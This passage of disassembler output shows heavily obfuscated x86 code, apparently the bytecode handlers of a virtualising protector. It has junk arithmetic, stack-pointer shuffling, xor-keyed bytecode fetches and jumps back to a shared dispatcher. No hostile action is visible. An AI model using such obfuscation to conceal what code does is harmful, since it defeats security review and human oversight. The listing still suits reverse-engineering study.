		mov	ch, 76h
		jmp	loc_58BCA3
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		push	esp
		jmp	loc_5847A9
; ---------------------------------------------------------------------------


loc_5813B2:				; CODE XREF: ud2_____:00591249j
		sub	edi, 1
		push	ecx
		mov	ecx, 74430E01h
		jmp	loc_592EFA
; ---------------------------------------------------------------------------


loc_5813C3:				; CODE XREF: ud2_____:0059153Cj
		push	edi
		mov	edi, 4
		sub	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		jmp	loc_58E49B
; ---------------------------------------------------------------------------


loc_5813DE:				; CODE XREF: ud2_____:005836F7j
		add	ebp, 4
		jmp	loc_57FAAA
; ---------------------------------------------------------------------------


loc_5813E9:				; CODE XREF: ud2_____:005831AFj
		add	bh, 2Ch
		mov	eax, [esp]
		jmp	loc_58A9ED
; ---------------------------------------------------------------------------


loc_5813F4:				; CODE XREF: ud2_____:0059004Cj
		mov	[esp], ebx
		push	esp
		jmp	loc_58E7D4
; ---------------------------------------------------------------------------


loc_5813FD:				; CODE XREF: ud2_____:0058752Ej
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_58D308
; ---------------------------------------------------------------------------
		mov	esp, [esp]
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_58141F:				; CODE XREF: ud2_____:00587FF5j
		push	edx
		mov	edx, esp
		jmp	loc_58D835
; ---------------------------------------------------------------------------


loc_581427:				; CODE XREF: ud2_____:0058DED8j
		push	ecx
		push	ecx
		mov	ecx, 0BD7CB3h
		sub	[esp+4], ecx
		pop	ecx
		pop	ebx
		jmp	loc_580DC3
; ---------------------------------------------------------------------------


loc_581439:				; CODE XREF: ud2_____:00580A66j
		neg	bl
		add	bl, 0E1h
		push	ecx
		mov	ch, 99h
		inc	ch
		sub	ch, 0FFh
		dec	ch
		not	ch
		shr	ch, 7
		xor	ch, 4
		xor	bl, ch
		pop	ecx
		dec	bl
		jmp	loc_583BA1
; ---------------------------------------------------------------------------


loc_58145A:				; CODE XREF: ud2_____:0057E3B1j
		push	7056h
		mov	[esp], esi
		jmp	loc_592F95
; ---------------------------------------------------------------------------


loc_581467:				; CODE XREF: ud2_____:0058E5AAj
		mov	esp, [esp]
		mov	cx, [esp]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_582A40
; ---------------------------------------------------------------------------


loc_58147C:				; CODE XREF: ud2_____:00581760j
		xchg	eax, [esp]
		pop	esp
		pop	dword ptr [esp]
		jmp	loc_57E07A
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_58271E
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	36D4h
		mov	[esp], eax
		jmp	loc_585ABA
; ---------------------------------------------------------------------------


loc_5814AA:				; CODE XREF: ud2_____:005835FAj
		add	esp, 4
		push	ebp
		jmp	loc_58C39C
; ---------------------------------------------------------------------------


loc_5814B3:				; CODE XREF: ud2_____:0058D3C9j
		xor	ebp, [esp]
		jmp	loc_582192
; ---------------------------------------------------------------------------


loc_5814BB:				; CODE XREF: ud2_____:0058E525j
		push	esi
		mov	esi, 76E17E2h
		sub	esi, 0AA971046h
		add	eax, esi
		pop	esi
		add	eax, ebx
		sub	eax, 5CD7079Ch
		jmp	loc_58E9EC
; ---------------------------------------------------------------------------


loc_5814D6:				; CODE XREF: ud2_____:0058F138j
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		jmp	loc_58DA37
; ---------------------------------------------------------------------------


loc_5814E5:				; CODE XREF: ud2_____:00591F6Bj
		add	dword ptr [esp], 4
		pop	eax
		push	ebp
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		jmp	loc_587909
; ---------------------------------------------------------------------------


loc_58150B:				; CODE XREF: ud2_____:0058DA6Ej
		xchg	edx, [esp]
		jmp	loc_5866D9
; ---------------------------------------------------------------------------


loc_581513:				; CODE XREF: ud2_____:0057EBBBj
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	ebp
		mov	ebp, 2BB56C2Eh
		jmp	loc_584B04
; ---------------------------------------------------------------------------


loc_581531:				; CODE XREF: ud2_____:0058C3E6j
		sub	esi, 5337522Dh
		add	esi, 3F7B4E8Dh
		mov	eax, [esp]
		add	esp, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5927AC
; ---------------------------------------------------------------------------


loc_581555:				; CODE XREF: ud2_____:0058B374j
		pop	ebx
		jmp	loc_582F4E
; ---------------------------------------------------------------------------


loc_58155B:				; CODE XREF: ud2_____:0058694Fj
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_581B15
; ---------------------------------------------------------------------------


loc_581575:				; CODE XREF: ud2_____:00584AF3j
		push	ecx
		mov	ecx, 63E10D3Dh
		sub	ecx, 45C3E48h
		not	ecx
		or	ecx, 7CF77986h
		jmp	loc_591E67
; ---------------------------------------------------------------------------


loc_58158E:				; CODE XREF: ud2_____:0058B1BAj
		add	esi, ecx
		jmp	loc_58C585
; ---------------------------------------------------------------------------


loc_581595:				; CODE XREF: ud2_____:00584497j
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_5902C8
; ---------------------------------------------------------------------------


loc_58159E:				; CODE XREF: ud2_____:0058C843j
		sub	edi, 164CE11Ah
		mov	ebp, edi
		jmp	loc_58B39A
; ---------------------------------------------------------------------------


loc_5815AB:				; CODE XREF: ud2_____:0058B320j
		push	ebp
		jmp	loc_57FEDB
; ---------------------------------------------------------------------------


loc_5815B1:				; CODE XREF: ud2_____:0057EAB8j
		push	ebx
		mov	bl, 6
		sub	bl, 5Fh
		jmp	loc_589E12
; ---------------------------------------------------------------------------


loc_5815BC:				; CODE XREF: ud2_____:00581361j
		mov	eax, [esp]
		add	esp, 4
		push	1D54h
		mov	[esp], esi
		mov	esi, 0C164B31h
		inc	esi
		push	eax
		mov	eax, 7C476CFEh
		xor	eax, 5D8F1218h
		xor	eax, 75941D11h
		sub	esp, 4
		mov	[esp], eax
		not	dword ptr [esp]
		jmp	loc_59255F
; ---------------------------------------------------------------------------


loc_5815F1:				; CODE XREF: ud2_____:00592FB6j
		mov	eax, 679A73EEh
		xor	eax, 43571B40h
		push	ecx
		jmp	loc_592E78
; ---------------------------------------------------------------------------


loc_581601:				; CODE XREF: ud2_____:0057FA0Dj
		pop	esp
		push	ebx
		mov	ebx, 67C22919h
		or	ebx, 126304AAh
		push	edx
		mov	edx, 7F073910h
		not	edx
		shl	edx, 4
		jmp	loc_5913A2
; ---------------------------------------------------------------------------


loc_58161E:				; CODE XREF: ud2_____:00584AA0j
		add	ebx, 1A956651h
		jmp	loc_5851C6
; ---------------------------------------------------------------------------


loc_581629:				; CODE XREF: ud2_____:00584CF2j
		mov	ebp, 77F6485h
		jmp	loc_59041D
; ---------------------------------------------------------------------------


loc_581633:				; CODE XREF: ud2_____:0057F0AAj
		mov	ebp, 2694DF7h
		and	ebp, 454208FCh
		shr	ebp, 7
		neg	ebp
		shr	ebp, 1
		and	ebp, 7AD22A63h
		push	eax
		mov	eax, 6BB248DCh
		xor	eax, 0C53E5A73h
		add	ebp, eax
		jmp	loc_581B09
; ---------------------------------------------------------------------------


loc_58165D:				; CODE XREF: ud2_____:0058C5E9j
		mov	[esp], edi
		push	esp
		pop	edi
		jmp	loc_57E9E8
; ---------------------------------------------------------------------------


loc_581667:				; CODE XREF: ud2_____:0058C258j
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_58166C:				; CODE XREF: ud2_____:00590BB3j
		push	esi
		jmp	loc_589D31
; ---------------------------------------------------------------------------


loc_581672:				; CODE XREF: ud2_____:0058063Dj
		push	edx
		mov	edx, 2E84628Eh
		add	ebp, edx
		pop	edx
		jmp	loc_587C98
; ---------------------------------------------------------------------------


loc_581680:				; CODE XREF: ud2_____:005824A7j
		pop	eax
		jmp	loc_584615
; ---------------------------------------------------------------------------


loc_581686:				; CODE XREF: ud2_____:0059096Fj
		push	edi
		jmp	loc_587DDB
; ---------------------------------------------------------------------------


loc_58168C:				; CODE XREF: ud2_____:0058518Fj
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	edi, [esp]
		jmp	loc_58202C
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	byte ptr [esp],	cl
		pushf
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_5816AE:				; CODE XREF: ud2_____:00585584j
		push	edx
		push	66840270h
		pop	edx
		jmp	loc_591DD8
; ---------------------------------------------------------------------------


loc_5816BA:				; CODE XREF: ud2_____:0058C9C2j
		add	ebp, edx
		pop	edx
		jmp	loc_581C37
; ---------------------------------------------------------------------------


loc_5816C2:				; CODE XREF: ud2_____:0058FC2Fj
		inc	si
		jmp	loc_588B00
; ---------------------------------------------------------------------------


loc_5816C9:				; CODE XREF: ud2_____:005818D2j
		push	2106h
		mov	[esp], edx
		jmp	loc_5898D4
; ---------------------------------------------------------------------------


loc_5816D6:				; CODE XREF: ud2_____:00589C43j
		pop	ebx
		add	ah, 0DFh
		mov	dl, ah
		jmp	loc_58A43B
; ---------------------------------------------------------------------------


loc_5816E1:				; CODE XREF: ud2_____:005888F6j
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_589BC9
; ---------------------------------------------------------------------------


loc_5816EA:				; CODE XREF: ud2_____:0058912Aj
		push	edi
		mov	edi, 7C626FC0h
		sub	esi, 2A020763h
		add	esi, edi
		add	esi, 2A020763h
		pop	edi
		push	ebp
		jmp	loc_587BC8
; ---------------------------------------------------------------------------


loc_581705:				; CODE XREF: ud2_____:0058B110j
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		jmp	loc_58CBF7
; ---------------------------------------------------------------------------


loc_581714:				; CODE XREF: ud2_____:0058D263j
		push	esp
		pop	ebp
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		sub	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_58F53F
; ---------------------------------------------------------------------------


loc_581733:				; CODE XREF: ud2_____:0058ED9Dj
		mov	bh, 0FFh
		sub	ah, bh
		pop	bx
		jmp	loc_58C3EB
; ---------------------------------------------------------------------------


loc_58173E:				; CODE XREF: ud2_____:005818B7j
		push	edi
		jmp	loc_588822
; ---------------------------------------------------------------------------


loc_581744:				; CODE XREF: ud2_____:0057FF29j
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_57F669
; ---------------------------------------------------------------------------


loc_58174F:				; CODE XREF: ud2_____:0058A788j
		xor	ecx, [esp]
		pop	esp
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		jmp	loc_58147C
; ---------------------------------------------------------------------------


loc_581765:				; CODE XREF: ud2_____:0057F87Aj
		push	5737h
		jmp	loc_586E73
; ---------------------------------------------------------------------------


loc_58176F:				; CODE XREF: ud2_____:0058D148j
		mov	esi, 68CE3AE6h
		mov	ebp, esi
		pop	esi
		and	eax, ebp
		pop	ebp
		push	ebx
		mov	ebx, 3A693548h
		xor	ebx, 0AD58D2F6h
		add	eax, ebx
		pop	ebx
		add	ebp, eax
		jmp	loc_582DA8
; ---------------------------------------------------------------------------


loc_581790:				; CODE XREF: ud2_____:0058978Fj
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_58D119
; ---------------------------------------------------------------------------


loc_5817A1:				; CODE XREF: ud2_____:0058CDB4j
		add	eax, 18E23D08h
		sub	eax, ebp
		sub	eax, 18E23D08h
		jmp	loc_58F3FD
; ---------------------------------------------------------------------------


loc_5817B2:				; CODE XREF: ud2_____:005822ACj
		pop	edi
		jmp	loc_58C3F2
; ---------------------------------------------------------------------------


loc_5817B8:				; CODE XREF: ud2_____:0058C7D6j
		xchg	esi, edi
		dec	edi
		push	ebx
		mov	ebx, 132D52F8h
		push	esi
		mov	esi, 4623BA0h
		not	esi
		shl	esi, 4
		and	esi, 4D2807B8h
		xor	esi, 0DD24EF8Bh
		add	ebx, esi
		pop	esi
		sub	edi, ebx
		pop	ebx
		jmp	loc_587C6E
; ---------------------------------------------------------------------------


loc_5817E3:				; CODE XREF: ud2_____:0058E1D4j
		pop	eax
		pop	edx
		pop	eax
		add	al, 0Bh
		push	edx
		mov	dl, 0D0h
		push	ebx
		mov	bh, 0DEh
		and	bh, 7Eh
		jmp	loc_581191
; ---------------------------------------------------------------------------


loc_5817F6:				; CODE XREF: ud2_____:00588D1Aj
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_58947A
; ---------------------------------------------------------------------------


loc_581801:				; CODE XREF: ud2_____:0058EB7Cj
		add	ebp, 2
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_57E764
; ---------------------------------------------------------------------------


loc_581815:				; CODE XREF: ud2_____:0058E4AFj
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_589273
; ---------------------------------------------------------------------------


loc_58182C:				; CODE XREF: ud2_____:0058E6BCj
		sub	dh, bh
		pop	bx
		or	dh, 0Fh
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_58D10D
; ---------------------------------------------------------------------------


loc_581841:				; CODE XREF: ud2_____:0058A7ABj
		mov	bh, cl
		pop	ecx
		push	eax
		mov	ah, 63h
		sub	bh, ah
		push	dword ptr [esp]
		pop	eax
		jmp	loc_58C265
; ---------------------------------------------------------------------------


loc_581852:				; CODE XREF: ud2_____:00591DDEj
		sub	edx, 951E9AF4h
		mov	ecx, edx
		pop	edx
		add	ebp, 512B42E1h
		jmp	loc_57EEA1
; ---------------------------------------------------------------------------


loc_581866:				; CODE XREF: ud2_____:005894FAj
		push	ebx
		jmp	loc_58FDDE
; ---------------------------------------------------------------------------


loc_58186C:				; CODE XREF: ud2_____:0058AC5Ej
		xor	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_584533
; ---------------------------------------------------------------------------


loc_58187C:				; CODE XREF: ud2_____:0058AAAEj
		sub	dl, ah
		pop	eax
		add	dl, bh
		push	ebx
		jmp	loc_5874CD
; ---------------------------------------------------------------------------


loc_581887:				; CODE XREF: ud2_____:0058ADF1j
		xor	ecx, 61EC6086h
		push	ecx
		push	3DCC6C64h
		pop	ecx
		jmp	loc_5919E5
; ---------------------------------------------------------------------------


loc_581899:				; CODE XREF: ud2_____:00581DD2j
		mov	esp, [esp]
		dec	dword ptr [esp]
		pushf
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_5818A5:				; CODE XREF: ud2_____:00584870j
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		push	esp
		pop	ecx
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_58173E
; ---------------------------------------------------------------------------
		lodsw
		xor	ax, bx
		push	ecx
		mov	cx, 7D63h
		push	edx
		sub	esp, 4
		mov	[esp], eax
		mov	ax, 5D8Eh
		push	ebp
		jmp	loc_5816C9
; ---------------------------------------------------------------------------


loc_5818D7:				; CODE XREF: ud2_____:0058E0F1j
		mov	ebx, 6C7D6C87h
		or	edi, ebx
		jmp	loc_58DAE9
; ---------------------------------------------------------------------------


loc_5818E3:				; CODE XREF: ud2_____:00588853j
		sub	[esp+8], edx
		mov	edx, [esp]
		add	esp, 4
		pop	esi
		pop	dword ptr [esp]
		push	eax
		jmp	loc_581EFA
; ---------------------------------------------------------------------------


loc_5818F7:				; CODE XREF: ud2_____:0058449Ej
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_57EB50
; ---------------------------------------------------------------------------


loc_581902:				; CODE XREF: ud2_____:0058FC9Fj
		push	ecx
		mov	ecx, 3D456AFDh
		xor	esi, ecx
		pop	ecx
		jmp	loc_58C937
; ---------------------------------------------------------------------------


loc_581910:				; CODE XREF: ud2_____:0058A2C1j
		dec	ebp
		and	ebp, 621A2B42h
		or	ebp, 37C94EB1h
		shl	ebp, 7
		or	ebp, 2AEB3B7Bh
		jmp	loc_58FFB5
; ---------------------------------------------------------------------------


loc_58192B:				; CODE XREF: ud2_____:005894BDj
		pop	ebp
		push	ebx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 66F978CEh
		sub	edx, 18B46F64h
		jmp	loc_57FF36
; ---------------------------------------------------------------------------


loc_581943:				; CODE XREF: ud2_____:00591175j
		add	esp, 4
		add	edx, 4
		push	eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		push	edx
		jmp	loc_591CB9
; ---------------------------------------------------------------------------


loc_58195E:				; CODE XREF: ud2_____:0057FD4Fj
		pop	ebx
		push	6716h
		mov	[esp], ebx
		mov	ebx, 4
		add	esi, ebx
		mov	ebx, [esp]
		jmp	loc_583F85
; ---------------------------------------------------------------------------


loc_581976:				; CODE XREF: ud2_____:0058A264j
		push	dword ptr [eax]
		xor	dword ptr [esp], 4E2A2DF5h
		pop	ecx
		push	eax
		mov	eax, 14E51A27h
		push	edi
		mov	edi, 33FF2D65h
		jmp	loc_58134A
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	6BE6h
		jmp	loc_58C211
; ---------------------------------------------------------------------------


loc_58199E:				; CODE XREF: ud2_____:00583A72j
		push	ecx
		jmp	loc_57ECDA
; ---------------------------------------------------------------------------


loc_5819A4:				; CODE XREF: ud2_____:00587E7Ej
		mov	[esp], ecx
		jmp	loc_582BC2
; ---------------------------------------------------------------------------


loc_5819AC:				; CODE XREF: ud2_____:00586E37j
		mov	ecx, 52FC7BECh
		mov	ebx, ecx
		jmp	loc_58715D
; ---------------------------------------------------------------------------


loc_5819B8:				; CODE XREF: ud2_____:0058227Fj
		mov	edx, 4
		add	edi, 0C903A31h
		add	edi, edx
		sub	edi, 0C903A31h
		pop	edx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edi
		jmp	loc_58CA28
; ---------------------------------------------------------------------------


loc_5819E7:				; CODE XREF: ud2_____:00588FD5j
		push	ebx
		jmp	loc_57EB8C
; ---------------------------------------------------------------------------


loc_5819ED:				; CODE XREF: ud2_____:005916E7j
		mov	bh, 29h
		inc	bh
		jmp	loc_58BFD8
; ---------------------------------------------------------------------------


loc_5819F6:				; CODE XREF: ud2_____:0058C22Ej
		add	esi, edx
		pop	edx
		jmp	loc_5898BF
; ---------------------------------------------------------------------------


loc_5819FE:				; CODE XREF: ud2_____:00590DD0j
		mov	[esp], esi
		push	1E04h
		mov	[esp], ebx
		jmp	loc_57F19A
; ---------------------------------------------------------------------------


loc_581A0E:				; CODE XREF: ud2_____:0058FFC1j
		and	ebp, edi
		jmp	loc_58712A
; ---------------------------------------------------------------------------


loc_581A15:				; CODE XREF: ud2_____:0058067Bj
		push	0F3h
		mov	[esp], ecx
		sub	esp, 4
		jmp	loc_57F12F
; ---------------------------------------------------------------------------


loc_581A25:				; CODE XREF: ud2_____:00585612j
		mov	[esp], esi
		mov	esi, 7FA12876h
		not	esi
		shr	esi, 5
		xchg	eax, esi
		inc	eax
		xchg	eax, esi
		add	esi, 2F366B4Ah
		jmp	loc_5855B5
; ---------------------------------------------------------------------------


loc_581A40:				; CODE XREF: ud2_____:005929D7j
		pop	edx
		sub	edx, ebx
		pop	ebx
		add	edi, edx
		mov	edx, [esp]
		add	esp, 4
		shr	edi, 3
		push	692Ah
		mov	[esp], ebx
		mov	ebx, 0DAF0C72h
		jmp	loc_584ED1
; ---------------------------------------------------------------------------


loc_581A61:				; CODE XREF: ud2_____:005919F1j
		push	esi
		mov	esi, 0EB1562Fh
		not	esi
		jmp	loc_584116
; ---------------------------------------------------------------------------


loc_581A6E:				; CODE XREF: ud2_____:0058469Cj
		add	esp, 4
		jmp	loc_57FD54
; ---------------------------------------------------------------------------


loc_581A76:				; CODE XREF: ud2_____:00584FE6j
		add	edx, esi
		push	ebx
		push	ebp
		mov	ebp, 413439D6h
		jmp	loc_58BB51
; ---------------------------------------------------------------------------


loc_581A84:				; CODE XREF: ud2_____:00582E41j
		pop	eax
		jmp	loc_580C77
; ---------------------------------------------------------------------------


loc_581A8A:				; CODE XREF: ud2_____:00583C28j
		push	5BB16E23h
		jmp	loc_589261
; ---------------------------------------------------------------------------


loc_581A94:				; CODE XREF: ud2_____:00582211j
		push	eax
		mov	ah, cl
		mov	bl, ah
		mov	eax, [esp]
		add	esp, 4
		not	bl
		jmp	loc_57E0D6
; ---------------------------------------------------------------------------


loc_581AA9:				; CODE XREF: ud2_____:00584D58j
		mov	edx, [esp]
		add	esp, 4
		pop	eax
		pop	edx
		push	ecx
		mov	ch, 0A1h
		sub	bh, ch
		mov	ecx, [esp]
		add	esp, 4
		xor	cl, bh
		jmp	loc_590195
; ---------------------------------------------------------------------------


loc_581AC9:				; CODE XREF: ud2_____:00585082j
		add	esp, 4
		push	3131h
		mov	[esp], edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5893A7
; ---------------------------------------------------------------------------


loc_581AE6:				; CODE XREF: ud2_____:005879B8j
		mov	eax, [esp]
		add	esp, 4
		push	esi
		push	esp
		jmp	loc_586413
; ---------------------------------------------------------------------------


loc_581AF6:				; CODE XREF: ud2_____:0058B590j
		mov	edi, esi
		jmp	loc_58DA46
; ---------------------------------------------------------------------------


loc_581AFD:				; CODE XREF: ud2_____:0058235Cj
		pop	ebx
		sub	ebp, edx
		pop	edx
		mov	esi, [esp]
		jmp	loc_591DED
; ---------------------------------------------------------------------------


loc_581B09:				; CODE XREF: ud2_____:00581658j
		pop	eax
		mov	ecx, ebp
		pop	ebp
		xor	ebp, ecx
		pop	ecx
		jmp	loc_58A44A
; ---------------------------------------------------------------------------


loc_581B15:				; CODE XREF: ud2_____:00581570j
		push	eax
		mov	eax, 0BF4486Ch
		not	eax
		jmp	loc_5837C1
; ---------------------------------------------------------------------------


loc_581B22:				; CODE XREF: ud2_____:0058448Fj
		mov	eax, [esp]
		sub	esp, 4
		jmp	loc_58D087
; ---------------------------------------------------------------------------


loc_581B30:				; CODE XREF: ud2_____:0058B302j
		push	dword ptr [esp+4]
		mov	edi, [esp]
		jmp	loc_58EF9C
; ---------------------------------------------------------------------------


loc_581B3C:				; CODE XREF: ud2_____:00587E53j
		add	eax, 36AB6D60h
		jmp	loc_5809A3
; ---------------------------------------------------------------------------


loc_581B46:				; CODE XREF: ud2_____:0058DCCBj
		add	esi, ecx
		pop	ecx
		jmp	loc_587184
; ---------------------------------------------------------------------------


loc_581B4E:				; CODE XREF: ud2_____:0057FC49j
		mov	ebx, 0A64249h
		jmp	loc_58ADA7
; ---------------------------------------------------------------------------


loc_581B58:				; CODE XREF: ud2_____:0058D6CAj
		pop	esp
		jmp	loc_580C15
; ---------------------------------------------------------------------------


loc_581B5E:				; CODE XREF: ud2_____:00592BF2j
		push	612Bh
		mov	[esp], eax
		mov	eax, 76B04F42h
		push	ecx
		mov	ecx, 24C458D9h
		add	[esp+8], ecx
		pop	ecx
		add	dword ptr [esp+4], 37717F35h
		sub	[esp+4], eax
		push	edx
		push	esi
		jmp	loc_582934
; ---------------------------------------------------------------------------


loc_581B89:				; CODE XREF: ud2_____:00586626j
		pop	esp
		mov	ebp, [esp]
		add	esp, 4
		xor	ebp, ecx
		pop	ecx
		sub	ebx, ebp
		jmp	loc_5800E4
; ---------------------------------------------------------------------------


loc_581B9A:				; CODE XREF: ud2_____:005830E3j
		or	esi, eax
		mov	eax, [esp]
		add	esp, 4
		shr	esi, 8
		sub	esi, 0A56ED954h
		jmp	loc_585813
; ---------------------------------------------------------------------------


loc_581BB3:				; CODE XREF: ud2_____:005869D2j
		add	esp, 4
		xor	ebp, 0D65C4A06h
		jmp	loc_57F46B
; ---------------------------------------------------------------------------


loc_581BC1:				; CODE XREF: ud2_____:005837A7j
		add	esi, eax
		pop	eax
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		add	esi, 0B841FA8h
		add	esi, 6DB51EE0h
		add	esi, eax
		sub	esi, 6DB51EE0h
		sub	esi, 0B841FA8h
		push	10C1h
		mov	[esp], eax
		jmp	loc_589019
; ---------------------------------------------------------------------------


loc_581BF2:				; CODE XREF: ud2_____:00588570j
		mov	ebp, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_582E18
; ---------------------------------------------------------------------------


loc_581C06:				; CODE XREF: ud2_____:00586957j
		push	esp
		push	dword ptr [esp]
		pop	edx
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_585CA6
; ---------------------------------------------------------------------------


loc_581C1C:				; CODE XREF: ud2_____:0058691Fj
		mov	[esp], ebx
		mov	ebx, 4
		add	ecx, ebx
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_58A4C1
; ---------------------------------------------------------------------------


loc_581C37:				; CODE XREF: ud2_____:005816BDj
		xchg	ebp, [esp]
		mov	esp, [esp]


loc_581C3D:				; CODE XREF: ud2_____:loc_589A71j
		push	36DCh
		mov	[esp], edi
		mov	edi, ebx
		jmp	loc_58EA7E
; ---------------------------------------------------------------------------


loc_581C4C:				; CODE XREF: ud2_____:00589AC9j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 59D2231Dh
		push	45DAh
		mov	[esp], edx
		jmp	loc_58921E
; ---------------------------------------------------------------------------


loc_581C71:				; CODE XREF: ud2_____:0057F53Cj
		add	al, cl
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_58C732
; ---------------------------------------------------------------------------


loc_581C7C:				; CODE XREF: ud2_____:00580C4Cj
		not	ebx
		jmp	loc_58FD1F
; ---------------------------------------------------------------------------


loc_581C83:				; CODE XREF: ud2_____:00590A81j
		push	edi
		mov	edi, 33E66906h
		shl	edi, 1
		not	edi
		jmp	loc_588192
; ---------------------------------------------------------------------------


loc_581C92:				; CODE XREF: ud2_____:0058897Ej
		pop	esp
		jmp	loc_5876D0
; ---------------------------------------------------------------------------


loc_581C98:				; CODE XREF: ud2_____:0057EB28j
		add	ecx, ebx
		mov	ebx, [esp]
		jmp	loc_591BE6
; ---------------------------------------------------------------------------


loc_581CA2:				; CODE XREF: ud2_____:005888C0j
		push	ebx
		push	edx
		jmp	loc_588E7C
; ---------------------------------------------------------------------------


loc_581CA9:				; CODE XREF: ud2_____:0058F53Aj
		mov	eax, 2
		jmp	loc_58832B
; ---------------------------------------------------------------------------


loc_581CB3:				; CODE XREF: ud2_____:0058C2D1j
		add	edi, ebx
		pop	ebx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_58EA90
; ---------------------------------------------------------------------------


loc_581CC4:				; CODE XREF: ud2_____:0058C0F4j
		pop	eax
		and	edx, 30092561h
		jmp	loc_5883BB
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_58D64D
; ---------------------------------------------------------------------------


loc_581CED:				; CODE XREF: ud2_____:0057E84Aj
		pop	esp
		mov	[esp], ebx
		mov	ebx, 1EC840BBh
		push	1205h
		jmp	loc_582C81
; ---------------------------------------------------------------------------


loc_581D00:				; CODE XREF: ud2_____:0058F2B3j
		push	464478A3h
		pop	edx
		sub	ebx, 1BEC38D9h
		sub	ebx, edx
		push	ecx
		mov	ecx, 1BEC38D9h
		add	ebx, ecx
		jmp	loc_5801B9
; ---------------------------------------------------------------------------


loc_581D1B:				; CODE XREF: ud2_____:005851F4j
		mov	[esp], di
		push	dx
		pop	di
		pop	dx
		sub	esp, 2
		mov	[esp], di
		push	small word ptr [esp+2]
		mov	di, [esp]
		add	esp, 2
		pop	small word ptr [esp]
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_581D47:				; CODE XREF: ud2_____:005807C3j
		xor	ebx, eax
		push	small 50DBh
		mov	[esp], dx
		push	ecx
		push	edx
		mov	dh, 53h
		push	eax
		mov	ah, 94h
		jmp	loc_592056
; ---------------------------------------------------------------------------


loc_581D5D:				; CODE XREF: ud2_____:0058F6F8j
		and	ecx, ebx
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_591366
; ---------------------------------------------------------------------------


loc_581D6A:				; CODE XREF: ud2_____:0058EB29j
		pop	esp
		mov	[esp], esi
		push	ebp
		mov	ebp, 0D0D2C1Dh
		mov	esi, 45751349h
		jmp	loc_583136
; ---------------------------------------------------------------------------


loc_581D7E:				; CODE XREF: ud2_____:0058A123j
		sub	esp, 4
		mov	[esp], edi
		push	edx
		push	ebx
		mov	ebx, 206156Ch
		mov	edx, 7E8320D5h
		xor	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 0FFFFFFFFh
		add	edx, ebp
		pop	ebp
		jmp	loc_591CAB
; ---------------------------------------------------------------------------


loc_581DA6:				; CODE XREF: ud2_____:00589E21j
		add	eax, 4
		push	42D1h
		mov	[esp], ebx
		mov	ebx, 4
